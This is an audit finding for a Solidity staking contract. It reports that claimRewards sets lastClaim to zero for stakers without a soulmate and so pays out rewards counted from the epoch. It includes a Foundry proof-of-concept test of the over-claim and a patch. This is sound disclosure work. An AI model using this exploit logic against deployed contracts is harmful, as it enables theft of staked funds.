Summary
In 'Staking.sol::claimRewards' the lastClaim time of the msg.sender is not calculated correctly if the address has deposited LoveTokens but does not have a soulmate.
Vulnerability Details
If an address has been transfered LoveTokens and deposits them into Staking.sol then they can claim rewards for how ever many tokens they deposited times the amount of weeks that have passed since the Ethereum blockchain started.
when calculating the lastClaim time, if the msg.sender does not have a soulmate then lastClaim would be set to 0
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
Now that lastClaim for the msg.sender = 0. timeInWeeksSinceLastClaim would equal the current (block.timestamp - 0) / 1 week. This would make timeInWeeksSinceLastClaim equal to the amount of weeks that have passed since the Ethereum blockchain started.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
Now amountToClaim will equal timeInWeeksSinceLastClaim * the amount the msg.sender staked. Giving them far more tokens than they should be able to claim.
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
Impact
This test passes showing that an address that was transferred LoveTokens can stake them and claim a reward even if they don't have a soulmate.
function test_Soulmate3Exploit() public {
uint256 balance = 100 ether;
uint256 stakeRewardAfter100Daysfor100LoveTokensDeposited = 1400 ether;
_giveLoveTokenToSoulmates(balance);
_SetUpSoulmate3(balance);
vm.startPrank(soulmate3);
stakingContract.claimRewards();
vm.stopPrank();
assertTrue(stakingContract.userStakes(soulmate3) == balance);
assertTrue(loveToken.balanceOf(soulmate3) == stakeRewardAfter100Daysfor100LoveTokensDeposited);
assertTrue(loveToken.balanceOf(address(stakingContract)) == balance);
}
function _SetUpSoulmate3(uint256 amount) internal {
vm.startPrank(soulmate1);
loveToken.transfer(soulmate3, amount);
vm.stopPrank();
vm.startPrank(soulmate3);
soulmateContract.mintSoulmateToken();
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
vm.stopPrank();
}
function _giveLoveTokenToSoulmates(uint256 amount) internal {
_mintOneTokenForBothSoulmates();
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
vm.prank(soulmate2);
airdropContract.claim();
}
function _mintOneTokenForBothSoulmates() internal {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
}
Tools Used
--Foundry
Recommendations
It is reccomended to add a check to make sure the address claiming a reward has a soulmate.
function claimRewards() public {
+ if (soulmateContract.soulmateOf(msg.sender) == address(0)) {
+ revert Staking__DoesNotHaveASoulmate();
+ }
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(soulmateId);
}